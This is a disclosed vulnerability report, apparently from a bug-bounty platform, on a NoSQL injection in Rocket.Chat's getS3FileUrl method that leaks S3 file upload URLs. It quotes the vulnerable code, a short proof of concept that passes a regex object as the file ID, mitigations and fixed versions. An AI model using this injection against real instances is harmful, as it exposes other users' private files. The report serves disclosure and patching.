

NoSQL-Injection discloses S3 File Upload URLs

Share:



SUMMARY BY ROCKET.CHAT



Summary

A NoSQL-Injection vulnerability in the `getS3FileUrl` Meteor server method can disclose arbitrary file upload URLs to users that should not be able to access.

Description

The `fileId` argument of the `getS3FileUrl` Meteor server method is not validated and can contain a regular expression.

The File Upload lookup result in [app/file-upload/server/methods/getS3FileUrl.js#L18](#) is returned to the requesting user, regardless of the users ability to access the file.

Code 318 Bytes

```
1 Meteor.methods({
2   async getS3FileUrl(fileId) {
3     if (protectedFiles && !Meteor.userId()) {
4       throw new Meteor.Error('error-invalid-user', 'Invalid user', { method:
5     }
6     const file = await Uploads.findOneById(fileId);
7
8     return UploadFS.getStore('AmazonS3:Uploads').getRedirectURL(file);
9   },
10 });
```

The S3 storage URL is secret because no further access checks occur so that disclosure of the URL also discloses the file contents.

Releases Affected:

- 0.53.0

Steps To Reproduce (from initial installation to vulnerability):

1. Login to Rocket.Chat instance with S3 storage enabled
2. Run PoC to access the first file matching the Regular Expression pattern

Supporting Material/References:

Proof of Concept

Code 124 Bytes

```
1  const pattern = ".*";
2  Meteor.call(
3    "getS3FileUrl",
4    { $regex: $pattern },
5    (err, url) => { window.location.href=url }
6  );
```

Suggested mitigation

- Check access to a files room
- Require fileId to be a string

Impact

Authenticated users can enumerate and access arbitrary file uploads they should not have access to.

Fix

Fixed in versions 4.7.5, 4.8.2 and 5.0>

TIMELINE



gronke submitted a report to [Rocket.Chat](#).

Jan 22nd (10 months ago)



mrrorschach Rocket.Chat staff changed the status to Triaged.

Jan 26th (10 months ago)



mrrorschach Rocket.Chat staff posted a comment.


Jan 31st (10 months ago)



mrrorschach Rocket.Chat staff closed the report and changed the status to Resolved.

Jul 25th (4 months ago)



 [mrrorschach](#) [Rocket.Chat staff](#) disclosed this report.

Sep 22nd (2 months ago)